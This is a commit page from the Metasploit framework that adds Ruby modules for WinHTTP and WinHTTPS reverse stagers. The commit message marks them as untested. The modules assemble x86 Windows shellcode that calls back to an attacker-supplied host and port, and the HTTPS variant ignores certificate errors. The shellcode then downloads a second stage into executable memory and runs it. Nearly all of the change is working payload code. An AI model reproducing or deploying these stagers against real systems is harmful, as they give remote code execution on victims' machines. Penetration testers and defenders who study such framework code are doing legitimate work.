Skip to content

Commit 1135e5e

Browse files
author
HD Moore
committed
First take on WinHTTP stagers, untested
1 parent 7e3b401 commit 1135e5e

File tree

5 files changed

+422
-70
lines changed

5 files changed

+422
-70
lines changed

lib/msf/core/payload/windows/reverse_http.rb

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -88,6 +88,13 @@ def generate_uri
8888
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
8989
end
9090

91+
#
92+
# Generate the URI for the initial stager
93+
#
94+
def generate_small_uri
95+
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW)
96+
end
97+
9198
#
9299
# Determine the maximum amount of space required for the features requested
93100
#
Lines changed: 307 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,307 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/windows/block_api'
5+
require 'msf/core/payload/windows/exitfunk'
6+
require 'msf/core/payload/windows/reverse_http'
7+
8+
module Msf
9+
10+
11+
###
12+
#
13+
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP
14+
#
15+
###
16+
17+
18+
module Payload::Windows::ReverseWinHttp
19+
20+
include Msf::Payload::Windows::ReverseHttp
21+
22+
#
23+
# Register reverse_winhttp specific options
24+
#
25+
def initialize(*args)
26+
super
27+
end
28+
29+
#
30+
# Generate the first stage
31+
#
32+
def generate
33+
# Generate the simple version of this stager if we don't have enough space
34+
if self.available_space.nil? || required_space > self.available_space
35+
return generate_reverse_winhttp(
36+
ssl: false,
37+
host: datastore['LHOST'],
38+
port: datastore['LPORT'],
39+
url: generate_small_uri)
40+
end
41+
42+
conf = {
43+
ssl: false,
44+
host: datastore['LHOST'],
45+
port: datastore['LPORT'],
46+
url: generate_uri,
47+
exitfunk: datastore['EXITFUNC']
48+
}
49+
50+
generate_reverse_winhttp(conf)
51+
end
52+
53+
#
54+
# Generate and compile the stager
55+
#
56+
def generate_reverse_winhttp(opts={})
57+
combined_asm = %Q^
58+
cld ; Clear the direction flag.
59+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
60+
#{asm_block_api}
61+
start:
62+
pop ebp
63+
#{asm_reverse_winhttp(opts)}
64+
^
65+
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
66+
end
67+
68+
#
69+
# Determine the maximum amount of space required for the features requested
70+
#
71+
def required_space
72+
# Start with our cached default generated size
73+
space = cached_size
74+
75+
# Add 100 bytes for the encoder to have some room
76+
space += 100
77+
78+
# Make room for the maximum possible URL length
79+
space += 256
80+
81+
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
82+
space += 31
83+
84+
# The final estimated size
85+
space
86+
end
87+
88+
89+
#
90+
# Convert a string into a NULL-terminated wchar byte array
91+
#
92+
def asm_generate_wchar_array(str)
93+
( str.to_s + "\x00" ).
94+
unpack("C*").
95+
pack("v*").
96+
unpack("C*").
97+
map{ |c| "0x%.2x" % c }.
98+
join(",")
99+
end
100+
101+
#
102+
# Dynamic payload generation
103+
#
104+
def asm_reverse_winhttp(opts={})
105+
106+
107+
#
108+
# options should contain:
109+
# ssl: (true|false)
110+
# url: "/url_to_request"
111+
# host: [hostname]
112+
# port: [port]
113+
# exitfunk: [process|thread|seh|sleep]
114+
#
115+
116+
encoded_url = asm_generate_wchar_array(opts[:url])
117+
encoded_host = asm_generate_wchar_array(opts[:host])
118+
119+
http_open_flags = 0
120+
121+
if opts[:ssl]
122+
# ;0x00800000 ; WINHTTP_FLAG_SECURE
123+
# ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
124+
http_open_flags = (0x00800000 | 0x00000100)
125+
else
126+
# ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
127+
http_open_flags = 0x00000100
128+
end
129+
130+
asm = %Q^
131+
; Input: EBP must be the address of 'api_call'.
132+
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
133+
134+
load_winhttp:
135+
push 0x00707474 ; Push the string 'winhttp',0
136+
push 0x686E6977 ; ...
137+
push esp ; Push a pointer to the "winhttp" string
138+
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
139+
call ebp ; LoadLibraryA( "winhttp" )
140+
141+
set_retry:
142+
push.i8 6 ; retry 6 times
143+
pop edi
144+
xor ebx, ebx
145+
mov ecx, edi
146+
147+
push_zeros:
148+
push ebx ; NULL values for the WinHttpOpen API parameters
149+
loop push_zeros
150+
151+
WinHttpOpen:
152+
; Flags [5]
153+
; ProxyBypass (NULL) [4]
154+
; ProxyName (NULL) [3]
155+
; AccessType (DEFAULT_PROXY= 0) [2]
156+
; UserAgent (NULL) [1]
157+
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
158+
call ebp
159+
160+
WinHttpConnect:
161+
push ebx ; Reserved (NULL) [4]
162+
push.i32 #{opts[:port]}; Port [3]
163+
call got_server_uri ; Double call to get pointer for both server_uri and
164+
server_uri: ; server_host; server_uri is saved in EDI for later
165+
db #{encoded_url}
166+
got_server_host:
167+
push eax ; Session handle returned by WinHttpOpen [1]
168+
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
169+
call ebp
170+
171+
WinHttpOpenRequest:
172+
173+
push.i32 #{http_open_flags}
174+
push ebx ; AcceptTypes (NULL) [6]
175+
push ebx ; Referrer (NULL) [5]
176+
push ebx ; Version (NULL) [4]
177+
push edi ; ObjectName (URI) [3]
178+
push ebx ; Verb (GET method) (NULL) [2]
179+
push eax ; Connect handler returned by WinHttpConnect [1]
180+
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
181+
call ebp
182+
xchg esi, eax ; save HttpRequest handler in esi
183+
^
184+
185+
# TODO
186+
if opts[:ssl]
187+
asm << %Q^
188+
; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) );
189+
set_security_options:
190+
push 0x00003380
191+
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
192+
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
193+
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
194+
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
195+
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
196+
mov eax, esp
197+
push.i8 4 ; sizeof(buffer)
198+
push eax ; &buffer
199+
push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
200+
push esi ; hHttpRequest
201+
push 0xd83c501e ; hash( "winhttp.dll", "WinHttpSetOption" )
202+
call ebp
203+
^
204+
end
205+
206+
asm << %Q^
207+
send_request:
208+
209+
WinHttpSendRequest:
210+
; Context [7]
211+
; TotalLength [6]
212+
push ebx ; OptionalLength (0) [5]
213+
push ebx ; Optional (NULL) [4]
214+
push ebx ; HeadersLength (0) [3]
215+
push ebx ; Headers (NULL) [2]
216+
push esi ; HttpRequest handle returned by WinHttpOpenRequest [1]
217+
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
218+
call ebp
219+
test eax,eax
220+
jnz receive_response ; if TRUE call WinHttpReceiveResponse API
221+
222+
try_it_again:
223+
dec edi
224+
jnz send_request
225+
226+
; if we didn't allocate before running out of retries, fall through
227+
^
228+
229+
if opts[:exitfunk]
230+
asm << %Q^
231+
failure:
232+
call exitfunk
233+
^
234+
else
235+
asm << %Q^
236+
failure:
237+
push 0x56A2B5F0 ; hardcoded to exitprocess for size
238+
call ebp
239+
^
240+
end
241+
242+
asm << %Q^
243+
receive_response:
244+
; The API WinHttpReceiveResponse needs to be called
245+
; first to get a valid handler for WinHttpReadData
246+
push ebx ; Reserved (NULL) [2]
247+
push esi ; Request handler returned by WinHttpSendRequest [1]
248+
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
249+
call ebp
250+
test eax,eax
251+
jz failure
252+
^
253+
254+
asm << %Q^
255+
allocate_memory:
256+
push.i8 0x40 ; PAGE_EXECUTE_READWRITE
257+
push 0x1000 ; MEM_COMMIT
258+
push 0x00400000 ; Stage allocation (4Mb ought to do us)
259+
push ebx ; NULL as we dont care where the allocation is
260+
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
261+
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
262+
263+
download_prep:
264+
xchg eax, ebx ; place the allocated base address in ebx
265+
push ebx ; store a copy of the stage base address on the stack
266+
push ebx ; temporary storage for bytes read count
267+
mov edi, esp ; &bytesRead
268+
269+
download_more:
270+
push edi ; NumberOfBytesRead (bytesRead)
271+
push 8192 ; NumberOfBytesToRead
272+
push ebx ; Buffer
273+
push esi ; Request handler returned by WinHttpReceiveResponse
274+
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
275+
call ebp
276+
277+
test eax,eax ; if download failed? (optional?)
278+
jz failure
279+
280+
mov eax, [edi]
281+
add ebx, eax ; buffer += bytes_received
282+
283+
test eax,eax ; optional?
284+
jnz download_more ; continue until it returns 0
285+
pop eax ; clear the temporary storage
286+
287+
execute_stage:
288+
ret ; dive into the stored stage address
289+
290+
got_server_uri:
291+
pop edi
292+
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
293+
294+
server_host:
295+
db #{encoded_host}
296+
^
297+
298+
if opts[:exitfunk]
299+
asm << asm_exitfunk(opts)
300+
end
301+
asm
302+
end
303+
304+
end
305+
306+
end
307+
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/windows/reverse_winhttp'
5+
6+
module Msf
7+
8+
9+
###
10+
#
11+
# Complex payload generation for Windows ARCH_X86 that speak HTTPS using WinHTTP
12+
#
13+
###
14+
15+
16+
module Payload::Windows::ReverseWinHttps
17+
18+
include Msf::Payload::Windows::ReverseWinHttp
19+
20+
#
21+
# Generate and compile the stager
22+
#
23+
def generate_reverse_winhttps(opts={})
24+
combined_asm = %Q^
25+
cld ; Clear the direction flag.
26+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
27+
#{asm_block_api}
28+
start:
29+
pop ebp
30+
#{asm_reverse_winhttp(opts)}
31+
^
32+
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
33+
end
34+
35+
#
36+
# Generate the first stage
37+
#
38+
def generate
39+
40+
# Generate the simple version of this stager if we don't have enough space
41+
if self.available_space.nil? || required_space > self.available_space
42+
return generate_reverse_winhttps(
43+
ssl: true,
44+
host: datastore['LHOST'],
45+
port: datastore['LPORT'],
46+
url: generate_small_uri)
47+
end
48+
49+
conf = {
50+
ssl: true,
51+
host: datastore['LHOST'],
52+
port: datastore['LPORT'],
53+
url: generate_uri,
54+
exitfunk: datastore['EXITFUNC']
55+
}
56+
57+
generate_reverse_winhttps(conf)
58+
end
59+
60+
end
61+
62+
end
63+

0 commit comments

Comments
 (0)